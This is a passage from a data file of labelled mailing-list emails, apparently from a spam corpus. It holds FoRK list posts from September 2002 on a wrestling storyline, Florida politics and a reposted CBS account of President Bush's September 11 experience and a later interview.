truck boys might change some none or all of this around, so if thursday nights tape play reveals them hitch and on thier way to a honeymoon, thats the luck o the smarkies. I doubt it will be edited much though from the way I heard it. So the bottomline is, they really were not gay all along, they were play acting and it got out of hand because Ricco made them, Steaphnie gets a face push while the Bisch gets a thursady night special 3 min heel push, thus furthing the story arc of the brand split. Rosey and Jamala get heat and B and C get a new Tag Team to play with. Ricco..who knows, maybe some heat time would be good for him as a single. All this of course at a time when the ratting are in the bottom of a 4 year valley of gloom, the last 2 years have been mostly squandered on borken story arc promises and bad acting, and to top it all off Mick is no longer ont he sceen so...bang bang...how can it be all good? Well, its back to my growing ECW divx collection where Tajiri was the shiz and Mick cut promos unrivaled by any of todays mic monkeys. * Todays managers are a far cry form the managers of the 80's/early 90's. Ricco is nota Paul Bearer or a Jimmy Heart at all but more like a buddy who goes to the ring with them and occasional interferes..ugh.",0,0 Tom ,fork@spamassassin.taint.org,"Wed, 11 Sep 2002 21:15:53 -0400 (EDT)",Bush blew take two,"http://www.washingtonpost.com/wp-dyn/articles/A63543-2002Sep10.html ""MIAMI, Sept. 10 -- A two-gram rock of crack cocaine was found inside the shoe of Florida Gov. Jeb Bush's 25-year-old daughter by workers at the central Florida rehabilitation center where she is undergoing court-ordered drug treatment, Orlando police said today. Noelle Bush was not arrested because witnesses would not give sworn statements, but the incident is under investigation, according to Orlando police spokesman Orlando Rolon."" Wow, the witnesses would not nark of a Bush girl in an era where there are no mare restrictions on being held without a cause? Imagine that... -tom",0,1 """Geege Schuman"" ","""Tom"" , ","Wed, 11 Sep 2002 21:32:23 -0400",RE: Bush blew take two,"yeshterday we f*cked up our gubernatorial election, too. results to be contested by reno. same six districts that were sued in 2000 still came up gimpy. i suggested to jeb via e-mail we hold a run-off pinata party. hoist up a papier mache donkey and a papier mache elephant. first one to batted open wins. -----Original Message----- From: fork-admin@xent.com [mailto:fork-admin@xent.com]On Behalf Of Tom Sent: Wednesday, September 11, 2002 9:16 PM To: fork@spamassassin.taint.org Subject: Bush blew take two http://www.washingtonpost.com/wp-dyn/articles/A63543-2002Sep10.html ""MIAMI, Sept. 10 -- A two-gram rock of crack cocaine was found inside the shoe of Florida Gov. Jeb Bush's 25-year-old daughter by workers at the central Florida rehabilitation center where she is undergoing court-ordered drug treatment, Orlando police said today. Noelle Bush was not arrested because witnesses would not give sworn statements, but the incident is under investigation, according to Orlando police spokesman Orlando Rolon."" Wow, the witnesses would not nark of a Bush girl in an era where there are no mare restrictions on being held without a cause? Imagine that... -tom",0,1 """Geege Schuman"" ",,"Wed, 11 Sep 2002 21:39:08 -0400",FW: Bush blew take two,"meant ""gubernatorial PRIMARY."" -----Original Message----- From: fork-admin@xent.com [mailto:fork-admin@xent.com]On Behalf Of Geege Schuman Sent: Wednesday, September 11, 2002 9:32 PM To: Tom; fork@spamassassin.taint.org Subject: RE: Bush blew take two yeshterday we f*cked up our gubernatorial election, too. results to be contested by reno. same six districts that were sued in 2000 still came up gimpy. i suggested to jeb via e-mail we hold a run-off pinata party. hoist up a papier mache donkey and a papier mache elephant. first one to batted open wins. -----Original Message----- From: fork-admin@xent.com [mailto:fork-admin@xent.com]On Behalf Of Tom Sent: Wednesday, September 11, 2002 9:16 PM To: fork@spamassassin.taint.org Subject: Bush blew take two http://www.washingtonpost.com/wp-dyn/articles/A63543-2002Sep10.html ""MIAMI, Sept. 10 -- A two-gram rock of crack cocaine was found inside the shoe of Florida Gov. Jeb Bush's 25-year-old daughter by workers at the central Florida rehabilitation center where she is undergoing court-ordered drug treatment, Orlando police said today. Noelle Bush was not arrested because witnesses would not give sworn statements, but the incident is under investigation, according to Orlando police spokesman Orlando Rolon."" Wow, the witnesses would not nark of a Bush girl in an era where there are no mare restrictions on being held without a cause? Imagine that... -tom",0,1 Tom ,fork@spamassassin.taint.org,"Thu, 12 Sep 2002 01:43:58 -0400 (EDT)",Something for the person who has everything,"Interesting ebay item......(and no it wasnt me even though the spellingis oddly familar) http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?MfcISAPICommand=ViewItem&item=1764085998",0,1 Rohit Khare ,fork@spamassassin.taint.org,"Thu, 12 Sep 2002 01:14:22 -0700",CBS News' interview w/Bush & reconstruction of his peregrinations,"""60 Minutes II"" Bush Interview: (CBS)No president since Abraham Lincoln has seen such horrific loss of life in a war on American soil. No president since James Madison, nearly 200 years ago, has seen the nations capital city successfully attacked. But, one year ago, President George W. Bush was thrown into the first great crisis of the 21st century. This is the presidents story of September 11th and the week America went to war. 60 Minutes II spent two hours with Mr. Bush, one, on Air Force One and another in the Oval Office last week. Even after a year, the president is still moved, sometimes to the point of tears, when he remembers Sept. 11. I knew, the farther we get away from Sept.11, the more likely it is for some around the world to forget the mission, but not me, Mr. Bush says during the Air Force One interview. Not me. I made the pledge to myself and to people that Im not going to forget what happened on Sept. 11. So long as Im president, we will pursue the killers and bring them to justice. We owe that to those who have lost their lives. The memories come back sharp and clear on Air Force One, where Pelley joined the president for a recent trip across country. 60 Minutes II wanted to talk to him there because that is where he spent the first hours after the attack. Not since Lyndon Johnson was sworn in on Air Force One has the airplane been so central to America in a crisis. For President Bush, Sept. 11 2001, started with the usual routine. Before dawn, the president was on his four-mile run. It was just before 6 a.m. and, at the same moment, another man was on the move: Mohammad Atta. Two hours later, as Mr. Bush drove to an elementary school, hijackers on four planes were murdering the flight crews and turning the airliners east. As the motorcade neared the school at 8:45 a.m., jet engines echoed in Manhattan. Atta plunged the 767 jumbo jet into World Trade Center Tower One. I thought it was an accident, says Mr. Bush. I thought it was a pilot error. I thought that some foolish soul had gotten lost and - and made a terrible mistake. Mr. Bush was told about the first plane just before sitting down with a class of second graders. He was watching a reading drill when, just after nine, United Flight 175 exploded into the second tower. There was the sudden realization that what had seemed like a terrible mistake was a coordinated attack. Back in the Florida classroom, press secretary Ari Fleischer got the news on his pager. The presidents chief-of-staff, Andy Card stepped in. A second plane hit the second tower; America is under attack, Card told the president When he said those words, what did he see in the Presidents face? I saw him coming to recognition of what I had said, Card recalls. I think he understood that he was going to have to take command as commander-in-chief, not just as president. What was going through Bushs mind when he heard the news? Were at war and somebody has dared attack us and were going to do something about it, Mr. Bush recalls. I realized I was in a unique setting to receive a message that somebody attacked us, and I was looking at these little children and all of the sudden we were at war. I can remember noticing the press pool and the press corps beginning to get the calls and seeing the look on their face. And it became evident that we were, you know, that the world had changed. Mr. Bush walked into a classroom set up with a secure phone. He called the vice president, pulling the phone cord tight as he spun to see the attack on TV. Then he grabbed a legal pad and quickly wrote his first words to the nation. ""Ladies and gentlemen, this is a difficult moment for America, he said in the speech. Today, weve had a national tragedy. It was 9:30 a.m. As he spoke, Mr. Bush didnt know that two more hijacked jets were streaking toward Washington. Vice Pesident Dick Cheney was in his office at the White House when a Secret Service agent ran in. He said to me, Sir, we have to leave immediately and grabbed, put a hand on my belt, another hand on my shoulder and propelled me out the door of my office, Cheney recalls. Im not sure how they do it, but they sort of levitate you down the hallway, you move very fast. There wasnt a lot of time for chitchat, you know, with the vice president, says Secret Service Director Brian Stafford, who was in his command center ordering the round-up of top officials and the First Family. He felt that he had only minutes to work with. We knew there were unidentified planes tracking in our direction, he says. Cheney was rushed deep under the White House into a bunker called the Presidential Emergency Operations Center. It was built for war, and this was it. On her way down, National Security Advisor Condoleezza Rice called Mr. Bush. It was brief because I was being pushed to get off the phone and get out of the West Wing, says Rice. They were hurrying me off the phone with the president and I just said, he said, Im coming back and we said Mr. President that may not be wise. I remember stopping briefly to call my family, my aunt and uncle in Alabama and say, Im fine. You have to tell everybody that Im fine but then settling into trying to deal with the enormity of that moment, and in the first few hours, I think the thing that was on everybodys mind was how many more planes are coming. The Capitol was evacuated. And for the first time ever, the Secret Service executed the emergency plan to ensure the presidential line of succession. Agents swept up the 15 officials who stood to become president if the others were killed. They wanted to move Vice President Cheney, fearing he was in danger even in the bunker. But Cheney says when he heard the other officials were safe, he decided to stay at the White House, no matter what. Its important to emphasize it's not personal, you dont think of it in personal terms, youve got a professional job to do, says Cheney. Cheney was joined by transportation secretary Norm Mineta who remembers hearing the FAA counting down the hijacked jets closing in on the capital. Says Mineta: Someone came in and said Mr. Vice president theres a plane 50 miles out, then he came in and said Its now 10 miles out, we dont know where it is exactly, but its coming in low and fast. It was American Flight 77. At 9:38 a.m., it exploded into the Pentagon, the first successful attack on Washington since the War of 1812. As the Pentagon burned, Mr. Bushs limousine sped toward Air Force One in Florida. At that moment, United Flight 93 - the last hijacked plane - was taking dead aim at Washington. At the White House, the staff was in the West Wing cafeteria, watching on TV. Press Secretary Jennifer Millerwise was in the crowd when the order came to evacuate. I no sooner walked outside when someone from the Secret Service yelled Women drop your heels and run, drop your heels and run, and suddenly the gates that never open except for authorized vehicles just opened and the whole White House just flooded out, she recalls. In Florida, as Mr. Bush boarded Air Force One, he was overheard telling a Secret Service agent Be sure to get the First Lady and my daughters protected. At 9:57 a.m., Air Force One thundered down the runway, blasting smoke and dust in a full -hrust take off. Communications Director Dan Bartlett was on board. It was like a rocket, he remembers. For a good ten minutes, the plane was going almost straight up. At the same moment, 56 minutes after it was hit, World Trade Center Tower Two began to falter, then cascade in an incomprehensible avalanche of steel, concrete and human lives. Someone said to me, Look at that I remember that, Look at that and I looked up and I saw and I just remember a cloud of dust and smoke and the horror of that moment, recalls Rice of the TV newscast. She also felt something in her gut: That weve lost a lot of Americans and that eventually we would get these people. I felt the anger. Of course I felt the anger. Down in the bunker, Cheney was trying to figure out how many hijacked planes there were. Officials feared there could be as many as 11. As the planes track toward Washington, a discussion begins about whether to shoot them down. I discussed it with the president, Cheney recalls. Are we prepared to order our aircraft to shoot down these airliners that have been hijacked? He said yes. It was my advice. It was his decision, says Cheney. Thats a sobering moment to order your own combat aircraft to shoot down your own civilian aircraft, says Bush. But it was an easy decision to make given the given the fact that we had learned that a commercial aircraft was being used as a weapon. I say easy decision, it was, I didnt hesitate, let me put it that way. I knew what had to be done. The passengers on United Flight 93 also knew what had to be done. They fought for control and sacrificed themselves in a Pennsylvania meadow. The flight was 15 minutes from Washington. Clearly, the terrorists were trying to take out as many symbols of government as they could: the Pentagon, perhaps the Capitol, perhaps the White House. These people saved us not only physically but they saved us psychologically and symbolically in a very important way, too, says Rice. Meanwhile, Tower One was weakening. It had stood for an hour and 43 minutes. At 10:29 a.m., it buckled in a mirror image of the collapse of its twin. The image that went round the world reached the First Lady in a secure location somewhere in Washington. I was horrified, she says. I thought, Dear God, protect as many citizens as you can. It was a nightmare. By 10:30 a.m., Americas largest city was devastated, its military headquarters were burning. Air force One turned west along the Gulf Coast. I can remember sitting right here in this office thinking about the consequences of what had taken place and realizing it was the defining moment in the history of the United States, says President Bush. I didnt need any legal briefs, I didnt need any consultations, I knew we were at war. Mr. Bush says the first hours were frustrating. He watched the horrifying pictures, but the TV signal was breaking up. His calls to Cheney were cutting out. Mr. Bush says he pounded his desk shouting, This is inexcusable; get me the vice president. I was trying to clear the fog of war, and there is a fog of war, says the president. ""Information was just flying from all directions. Chief of staff Card brought in the reports. There was word Camp David had been hit. A jet was thought to be targeting Mr. Bushs ranch. I remember hearing that the State Department might have been hit, or that the White House had a fire in it. So we were hearing lots of different information, says Card. They also feared that Air Force One itself was a target. Cheney told the president there was a credible threat against the plane. Using the code name for Air Force One, Mr. Bush told an aide, Angel is next. The threat was passed to presidential pilot Colonel Mark Tillman. It was serious before that but now it is -no longer is it a time to get the president home, Tillman says. We actually have to consider everything we say, everything we do could be intercepted, and we have to make sure that no one knows what our position is. Tillman asked for an armed guard at his cockpit door while Secret Service agents double-checked the identity of everyone on board. The crew reviewed the emergency evacuation plan. Then came a warning from air traffic control a suspect airliner was dead ahead. Coming out of Sarasota there was one call that said there was an airliner off our nose that they did not have contact with, Tillman remembers. Tillman took evasive action, pulling his plane high above normal traffic. They were on course for Washington, but by now no one thought that was a good idea, except the president. I wanted to come back to Washington, but the circumstances were such that it was just impossible for the Secret Service or the national security team to clear the way for Air Force One to come back, says Bush. So Air Force One set course for an underground command center in Nebraska. Back in Washington, the presidents closest advisor, Karen Hughes, heard about the threat to the plane and placed a call to Mr. Bush. And the military operator came back to me and in a voice that, to me, sounded very shaken said, Maam, Im sorry, we cant reach Air Force One. Hughes recalls. Hughes was out of the White House during the attacks. When she came back, it was a place she didnt recognize. There were either military, or maybe Secret Service, dressed all in black, holding machine guns as, as we drove up. And I never expected to see something like that in, in our nation's capital, says Hughes. When she walked into the White House, no one was inside. I knew it was a day that you didn't want to surprise anybody, and so I yelled, Hello? and two, again, kind of SWAT team members came running, running through the, the hall with, again, guns drawn, and then took me to, to the location where I met the vice president. On Air Force One, Col. Tillman had a problem. He needed to hide the most visible plane in the world, a 747 longer than the White House itself. He didnt want to use his radio, because the hijackers could be listening to air traffic control. So he called air traffic control on the telephone. We actually didn't tell them our destination or what directions we were heading, says Tillman. We, we basically just talked to 'em and said, 'OK, fine, we have no clearance at this time, we are just going to fly across the United States.' Controllers passed Air Force One from one sector to another, warning each other to keep the route secret. OK, wheres he going? one tower radioed to another. Just watch him, a second tower responded. Dont question him wheres he's going. Just work him and watch him, theres no flight plan in and were not going to put anything in. Ok, sir? Air Force One ordered a fighter escort, and air traffic control radioed back: Air Force One, got two F-16s at about your 10 oclock position. The staff, and the president and us, were filed out along the outside hallway of his presidential cabin there and looking out the windows, says Bartlett. And the president gives them a signal of salute, and the pilot kind of tips his wing, and fades off and backs into formation. The men in the F-16s were Shane Brotherton and Randy Roberts, from the Texas Air National Guard. Their mission was so secret their commander wouldnt tell them where they were going. He just said, 'Youll know when you see it,' and that was my first clue, I didnt have any idea what we were going up until that point, says Brotherton. He knew when he saw it. We, we were trying to keep an 80-mile bubble, bubble around Air Force One, and we'd investigate anything that was within 80 miles, says Roberts. Bush says he was not worried about the safety of the people on this aircraft, or for his own safety: I looked out the airplane and saw two F-16s on each wing. It was going to have to be a pretty good pilot to get us. We now know that the threat to Air Force One was part of the fog of war, a false alarm. But it had a powerful effect at the time. Some wondered, with the president out of sight, was he still running the government? He hadnt appeared after the attack on Washington. Mr. Bush was clearly worried about it. At one point he was overheard saying, The American people want to know where their dang president is. The staff considered an address to the nation by phone but instead Mr. Bush ordered Air Force One to land somewhere within 30 minutes so he could appear on TV. At 11:45 a.m., they landed at Barksdale Air Force Base in Louisiana. The resolve of our great nation is being tested. But make no mistake, we will show the world that we will pass this test. God bless, Bush said to the nation from Barksdale. At Barksdale, the Secret Service believed the situation in Washington was still unsafe. So the plane continued on to Nebraska, to the command center where Mr. Bush would be secure and have all the communications gear he needed to run the government. Aboard Air Force One, Mr. Bush had a job for press secretary Fleischer. The president asked me to make sure that I took down everything that was said. I think he wanted to make certain that a record existed, says Fleischer Fleischers notes capture Mr. Bushs language, plain and unguarded. To the vice president he said: Were at war, Dick, were going to find out who did this and kick their ass. Another time, Mr. Bush said, Were not going to have any slap-on-the-wrist crap this time. The President adds, I can remember telling the Secretary of Defense, I said, Were going to find out who did this and then Mr. Secretary, you and Dick Myers, who we just named as chairman of the joint chiefs, are going to go get them. By 3 p.m., Air Force One touched down at Offutt Air Force Base in Nebraska. Mr. Bush and his team were herded into a small brick hut that gave no hint of what they would find below. At the bottom of the stairs was the U.S. Strategic Command Underground Command Center. It was built to transmit a presidents order to go to nuclear war. But when Mr. Bush walked in, the battle staff was watching the skies over the United States. Many airplanes had still not landed. After a short briefing, Mr. Bush and Card were taken to a teleconference center which connected them to the White House, the Pentagon, the FBI and the CIA. Mr. Bush had a question for his CIA Director George Tenent. According to Rice, Bush asked Tenent who had done this. Rice recalls that Tenent answered: Sir, I believe its al Qaeda. Were doing the assessment but it looks like, it feels like, it smells like al Qaeda. The evidence would build. FBI Director Robert Mueller says that an essential clue came from one of the hijacked planes before it crashed. A flight attendant on American Flight 11, Amy Sweeney, had the presence of mind to call her office as the plane was hijacked and give them the seat numbers of the hijackers. That was the first piece of hard evidence. We could then go to the manifest, find out who was sitting in those seats and immediately conduct an investigation of those individuals, as opposed to taking all the passengers on the plane and going through a process of elimination, says Mueller. In Nebraska, the White House staff was preparing for an address to the nation from the Air Force bunker, but by then the president had had enough. He decided to come back. At one point, he said he didnt want any tinhorn terrorist keeping him out of Washington, Fleischer says. That verbatim. On board, he was already thinking of issuing an ultimatum to the world: I had time to think and a couple of thoughts emerged. One was that you're guilty if you harbor a terrorist, because I knew these terrorists like al-Qaeda liked to prey on weak government and weak people. The other thought that came was the opportunity to fashion a vast coalition of countries that would either be with us or with the terrorists. As Air Force One sped east, the last casualty of the attack on America collapsed, one of the nations worst days wore into evening. At the World Trade Center, 2,801 were killed; at the Pentagon, 184; and in Pennsylvania 40. Altogether, there were 3,025 dead. Anybody who would attack America the way they did, anybody who would take innocent life the way they did, anybody who's so devious, is evil, Bush said recently. Mr. Bush would soon see that evil face to face. After arriving in Washington, he boarded his helicopter and flew past the Pentagon on the way to the White House. Was there a time when he was afraid that there might not be a White House to return to? I dont remember thinking about whether or not the White House would have been obliterated,"" he recalls. ""I think I might have thought they took their best shot, and now it was time for us to take our best shot. Mr. Bush arrived back at the White House nine hours after the attacks. His next step was an address to the nation. Karen Hughes and her staff were already working on the speech. He decided that the primary tone he wanted to strike that night was reassurance, remembers Hughes. We had to show resolve, we had to reassure people, we had to let them know that we would be OK. Just off the Oval Office, Mr. Bush added the words that would become known as the Bush Doctrine - no distinction between terrorists and those who harbor them. The staff wanted to add a declaration of war but Mr. Bush didnt think the American people wanted to hear it that night and he was emphatic about that. He prepared to say it from the same desk where Franklin Roosevelt first heard the news of Pearl Harbor. Now Bush was commander in chief. Eighty million Americans were watching. Today our fellow citizens, our way of life, our very freedom came under attack in a series of deliberate and deadly terrorist acts, he said from the Oval Office that night. The Oval Office speech came at the end of the bloodiest day in American history since the Civil War. Before he walked to the White House residence for the night, Mr. Bush dictated these words for the White House daily log: The Pearl Harbor of the 21st century took place today. We think it's Osama bin Laden. (CBS)When Sept. 12 dawned, President Bush was demanding a war plan. No one in the White House or the Pentagon could be sure of what the president would do. In office for just eight months, hed never been tested as commander-in-chief. I never asked them what they thought, President Bush said of the Pentagon brass, because I didnt really because I knew what I was gonna do. I knew exactly what had to be done, Scott. And that was to set a strategy to seek justice. Find out who did it, hunt them down and bring them to justice. In the cabinet room, the president made clear what was next: The deliberate and deadly attacks which were carried out yesterday against our country were more than acts of terror, they were acts of war, he said. To the war cabinet, al Qaeda was no surprise. National Security Advisor Condoleezza Rice says the administration had been at work on a plan to strike bin Ladens organization well before Sept. 11. The president said, You know Im tired of swatting at flies, I need a strategy to eliminate these guys, Rice recalls. In one of the worst intelligence failures ever, the CIA and FBI didnt pick up clues that an attack in the United States was imminent. Without a sense of urgency, the White House strategy the president had asked for came too late. Chief of Staff Andrew Card recalls that the plan Mr. Bush had asked for was literally headed to the presidents desk, I think, on the eleventh, tenth or eleventh, of September. On Sept. 12, the war cabinet was debating the full range of options - who to hit and how to hit them. There were some at the Pentagon who worried in the early hours that Mr. Bush would order up an immediate cruise missile strike, of the kind that had not deterred bin Laden in the past. Well, theres a lot of nervous Nellies at the Pentagon, anyway, Mr. Bush tells Pelley. A lot of people like to chatter, you know, more than they should. But no, I appreciate that very much. Secretary of Defense (Donald) Rumsfeld early on discussed the idea of making sure we had what we called boots on the ground. That if youre gonna go to war, then youve gotta go to war with all your assets. The president says he wanted to fight and win a guerilla war with conventional means. It was an innovative but risky idea being proposed by CIA Director George Tenent. Tenent wanted to combine American technology and intelligence with the brute force of Afghan fighters hostile to the Taliban government. Secretary of State Colin Powell, noting that the CIA had already developed a long relationship with the Afghan resistance, called it an unconventional solution to an unconventional problem. As I like to describe it to my friends, Powell says, we had on the ground a Fourth World army riding horses and living in tents with some CIA and special forces with them and we had a First World air force, the best in the world. How do you connect it all? The president gave them 48 hours to figure it out. Meanwhile, Mr. Bush went to the battlefield himself. Just the day before, he had called the Pentagon the mightiest building in the world. Now one-fifth of it was in ruins. The wreckage of American Flight 77 was being examined by Navy investigators. And before Mr. Bush left, he made a point of speaking personally with the team recovering the remains of the first casualties of war on his watch. The next day, Sept. 13, there was another warning of attack that the public never heard about. Threats had been were coming in constantly but this one sounded credible: a large truck bomb headed to the White House. The Secret Service wanted the president back in the bunker. He wasnt real receptive to that, to that recommendation, remembers Brian Stafford, director of the Secret Service. And he ordered a hamburger and said he was going to stay in the White House that evening and thats what he did. The next day, would be one of the longest and the most difficult for the president. On Friday, Sept. 14, Mr. Bush started the day with a cabinet meeting, but he wept when he walked in and was surprised by applause. He sat down, slightly overcome, for a moment but he recaptured it, says Powell who remembers being worried that the president might have trouble getting through his speech at the national memorial service later that morning. And I just scribbled a little note to him, Powell recalls, and I said, Mr. President, Ive learned over the years when you are going to give a very emotional speech, watch out for certain words that will cause you to start to tear up. He looked at me and he smiled and then at the next break in the conversation he said, The Secretary of State told me not to break down at the memorial service, and that broke the tension and everybody started laughing and I felt embarrassed. First Lady Laura Bush was involved in planning the memorial service and she says she wanted it to be both dignified and comforting. I wanted the Psalms and everything to be read to be comforting, because I think we were a country, that needed, everyone of us, needed comforting. It also stirred the mourners resolve, as Rice remember. As we stood to sing the Battle Hymn of the Republic, she says, you could feel the entire congregation and I could certainly feel myself stiffen, the kind of spine, and this deep sadness was being replaced by resolve. We all felt that we still had mourning to do for our countrymen who had been lost but that we also had a new purpose in not just avenging what had happened to them but making certain that the world was eventually going to be safe from this kind of attack ever again. Next came a visit to ground zero. The president was not prepared for what he encountered there. You couldnt brief me, you couldnt brief anybody on ground zero until you saw it,"" Mr. Bush says. It was like it was ghostly. Like youre having a bad dream and youre walking through the dream. The president found the scene very powerful, particularly when the men and women at ground zero began to chant, USA! USA!. There was a lot of bloodlust, the president recalls. People were, you know, pointing their big old hands at me saying, Dont you ever forget this, Mr. President. Dont let us down. The scene was very powerful. Very powerful. When Mr. Bush tried to speak, the crowd kept shouting, We cant hear you. The president responded, I can hear you. I can hear you. The rest of the world hears you. And the people who knocked these buildings down will hear all of us soon. Mr. Bush had been in New York just a few weeks before; hed posed with the firemen who always stood by whenever the presidents helicopter landed there. Now, five of the men who stood with the president in the picture were dead lost at ground zero. When the president arrived Sept. 14, Manhattan was papered with the faces of the lost. Families, unable to believe that so many had vanished in an instant, held onto the hope that their loved ones were just missing. It was a place where a child comforted a grieving mother. At a meeting the public never saw, the president spoke with several hundred of these families in a convention hall. People said to me, Hell come out. Dont worry, Mr. president, well see him soon. I know my loved one, he will - hell find a place to survive underneath the rubble and well get him out. I, on the other hand had been briefed about the realities, and my job was to hug and cry, but I remember the whole time thinking, This is incredibly sad because the loved ones wont come out. One little boy handed the president a picture of his father in his firefighter uniform and as he signed it, Mr. Bush remembers, he told the boy, Your daddy wont believe that I was here, so you show him that autograph. It was an effort to provide a little hope, the president recalls. I still get emotional thinking about it because were dealing with people who loved their dads or loved their mom, or loved theirwives who loved their husbands. It was a tough time, you know, it was a tough time for all of us because we were a very emotional, and I was emotional at times. I felt, I felt the same now as I did then, which is sad. And I still feel sad for those who grieve for their families, but through my tears, I see opportunity. The president was supposed to be with the families for about 30 minutes; he stayed for two and a half hours. It was there he met Arlene Howard. The body of her son, George, was among the first to be found at ground zero. I called the police department, Howard remembers, and they said he hadnt called in for roll call and to call back in an hour and I said, No, I dont need to call back. If he hadnt called in, I knew where he was. George Howard had rescued children trapped in an elevator back in 1993 when the World Trade Center was bombed. He had been off duty that day, and he was off duty on Sept. 11, but couldnt stay away. The police department gave his badge to his mother and she gave it to the president. He (the president) he leaned over to talk to me, Howard recalls. And he extends his sympathy to me and thats when I asked him Id like to present Georges shield to him in honor of all the men and women who were killed over there. By the end of that day, Mr. Bush flew to Camp David visibly drained. He was physically exhausted, he was mentally exhausted, he was emotionally exhausted, he was spiritually exhausted, recalls Card.. The next day Saturday, Sept. 15 - Mr. Bush met members of his war cabinet at the presidential retreat for a last decisive meeting. My message is for everybody who wears the uniform get ready. The United States will do what it takes, Mr. Bush told them. As Powell remembers it, He was encouraging us to think boldly. He was listening to all ideas; he was not constrained to any one idea; he wanted to hear his advisors talk and argue and debate with each other. President Bush was pleased with the progress that had been made. On the other hand, he says, I wanted to clarify plans and I went around the room and I asked everybody what they thought ought to happen. When he left that meeting on Saturday night, he still had not told the cabinet what he was planning. I wanted to just think it through, Mr. Bush remembers. Any time you commit troops to harms way, a president must make sure that he fully understands all the consequences and ramifications. And I wanted to just spend some time on it alone. And did. What were his reservations? Mr. Bush says, Could we win? I didnt want to be putting our troops in there unless I was certain we could win. And I was certain we could win. Nine days after the attacks on America, before a joint session of Congress the president committed the nation to the war on terror. Each of us will remember what happened that day and to whom it happened, Mr. Bush told the Congress and the nation. Well remember the moment the news came, where we were and what we were doing. Some will remember an image of a fire or a story of rescue. Some will carry memories of a face and a voice gone forever. And I will carry this. It is the police shield of a man named George Howard, who died at the World Trade Center trying to save others. It was given to me by his mom, Arlene, as a proud memorial to her son. It is my reminder of lives that ended and a task that does not end. A year has passed since then, but the president says his job is still to remind Americans of what happened and of the war that is still being waged, a war he reminds himself of every day in the Oval Office, literally keeping score, one terrorist at a time. In his desk, the president says, I have a classified document that might have some pictures on there, just to keep reminding me about whos out there, where they might be And as the terrorists are captures or killed? I might make a little check there, yeah, Mr. Bush admits. But there is no check by the name that must be on the top of that list Osama bin Laden. (CBS)A lot has happened in the year since Sept. 11. One year ago, the president was new on the job, with little experience in foreign policy. He had wanted to pull the military back from foreign entanglements. Now, on his orders, U.S. forces are engaged around the globe in a war he did not expect, in a world completely changed. In the Oval Office last week, CBS News Correspondent Scott Pelley asked the president about Iraq, about whether Americans are safe at home and about Osama bin Laden. ------------------------------------------------------------------------ Scott Pelley: You must be frustrated, maybe angry. After a year, we still dont have Osama Bin Laden? President Bush: How do you know that? I dont know whether Osama bin Laden is dead or alive. I dont know that. Hes not leading a lot of parades. And hes not nearly the hero that a lot of people thought he was. This is much bigger than one person anyway. This is were slowly but surely dismantling and disrupting the al Qaeda network that, that hates America. And we will stay on task until we complete the task. I always knew this was a different kind of war, Scott. See, in the old days, you measure the size and the strength of the enemy by counting his tanks or his airplanes and his ships. This is an international manhunt. Were after these people one at the time. Theyre killers. Period. Pelley: But have you won the war before you find Osama bin Laden dead or alive? Mr. Bush: If he were dead, theres somebody else to replace him. And we would find that person. But slowly but surely, we will dismantle the al Qaeda network. And those who sponsor them and those who harbor them. And at the same time, hopefully lay the seeds for, the conditions necessary so that people dont feel like theyve got to conduct terror to achieve objectives. Pelley: Do you look back on the Afghan campaign with any doubts? Certainly, weve overthrown the Taliban government. Certainly, al Qaeda has been scattered. But some of the Taliban leaders appear to have gotten away. And there have been many civilian casualties as well. Mr. Bush: Uh huh. Well, you know, I am sad that civilians lost their life. But I understand war. We did everything we can to everything we could to protect people. When civilians did die, it was because of a mistake. Certainly not because of intention. We liberated a country for which Im extremely proud. No, I dont second guess things. Its things never go perfect in a time of war. Pelley: Are you committed to ending the rule of Saddam Hussein? Mr. Bush: Im committed to regime change. Pelley: There are those who have been vocal in their advice against war in Iraq. Some of our allies in the Gulf War, Saudi Arabia, Turkey for example. Even your fathers former national security advisor, Mr. Scowcroft has written about it in the paper. What is it in your estimation that they dont understand about the Iraq question that you do appreciate? Mr. Bush: The policy of the government is regime change, Scott, hasnt changed. I get all kinds of advice. Im listening to the advice. I appreciate the consultations. And well consult with a lot of people but our policy hasnt changed. Pelley: On Air Force One you described the terrorists as evil. Mr. Bush: Yeah. Pelley: I dont think anyone would disagree with that, but at the same time, many in the Arab world are angry at the United States for political reasons because of our policy in Israel or our troops in the oil region of the Middle East. Is there any change in foreign policy that youre considering that might reduce Arab anger against the United States. Mr. Bush: Hmm. Well, Im working for peace in the Middle East. Im the first president that ever went to the United Nations and publicly declared the need to have a Palestinian state living side-by-side with Israel in peace. Ive made it clear that in order for there to be peace the Palestinians have gotta to get some leadership that renounces terror and believes in peaces and quits using the Palestinian people as pawns. I've also made it clear to the other Arab nations in the region that theyve got responsibilities. If you want peace they gotta work toward it. Were more than willing to work for it, but they have to work for it as well. But all this business isnt going to happen as long as a few are willing to blow up the hopes of many. So we all gotta work to fight off terror. Pelley: Arafat has to go? Mr. Bush: Either, hes, hes been a complete failure as far as I am concerned. Utter disappointment. Pelley: There has been some concern over the year about civil liberties. Mr. Bush: Yeah Pelley: In fact, an appeals court recently was harsh about your administrations decision to close certain deportation hearings. They said, quote, A government operating in secrecy stands in opposition to the Constitution. Where do you draw the line sir? Mr. Bush: I draw the line at the Constitution. We will protect America. But we will do so on, within the guidelines of the Constitution, confines of the Constitution, spirit of the Constitution. Pelley: Is there anything that the Justice Department has brought to you as an idea that youve thought, No, thats too far. I dont wanna go"" Mr. Bush: Nah, not that that I remember. And I am pleased with the Justice Department. I think that Attorney Generals doing a fine job, by the way...and to the extent that our courts are willing to make sure that they review decisions we make, I think thats fine. I mean, thats good. Its healthy. Its part of America. Pelley: Franklin Roosevelt said that America should stand in defense of four freedoms. Freedom of speech, freedom of religion, freedom from want and freedom from fear. Do we have that today Mr. President? Freedom from fear? Mr. Bush: I think more than we did, in retrospect. The fact that we are on alert, the fact that we understand the new circumstances makes us more free from fear than on that fateful day of September the 11th. Weve got more work to do. Pelley: And Americans should not live their lives in fear? Mr. Bush: I dont think so. No. I think Americans oughta know their governments doing everything possible to help. And obviously if we get information that relates directly a particular attack well deal with it. And if we get noise that deals with a general attack, well alert people. There are a lot of good folks working hard to disrupt and deny and run down leads. And the American people need to go about their lives. It seems like they are.",0,0 Dave Long ,fork@spamassassin.taint.org,"Thu, 12 Sep 2002 12:22:40 -0700","dylsexics of the wrold, untie!","> (and no it wasnt me even though the spellingis > oddly familar) Not that this is news to FoRKs, but: > ... randomising letters in the middle of words [has] little or no > effect on the ability of skilled readers to understand the text. This > is easy to denmtrasote. In a pubiltacion of New Scnieitst you could > ramdinose all the letetrs, keipeng the 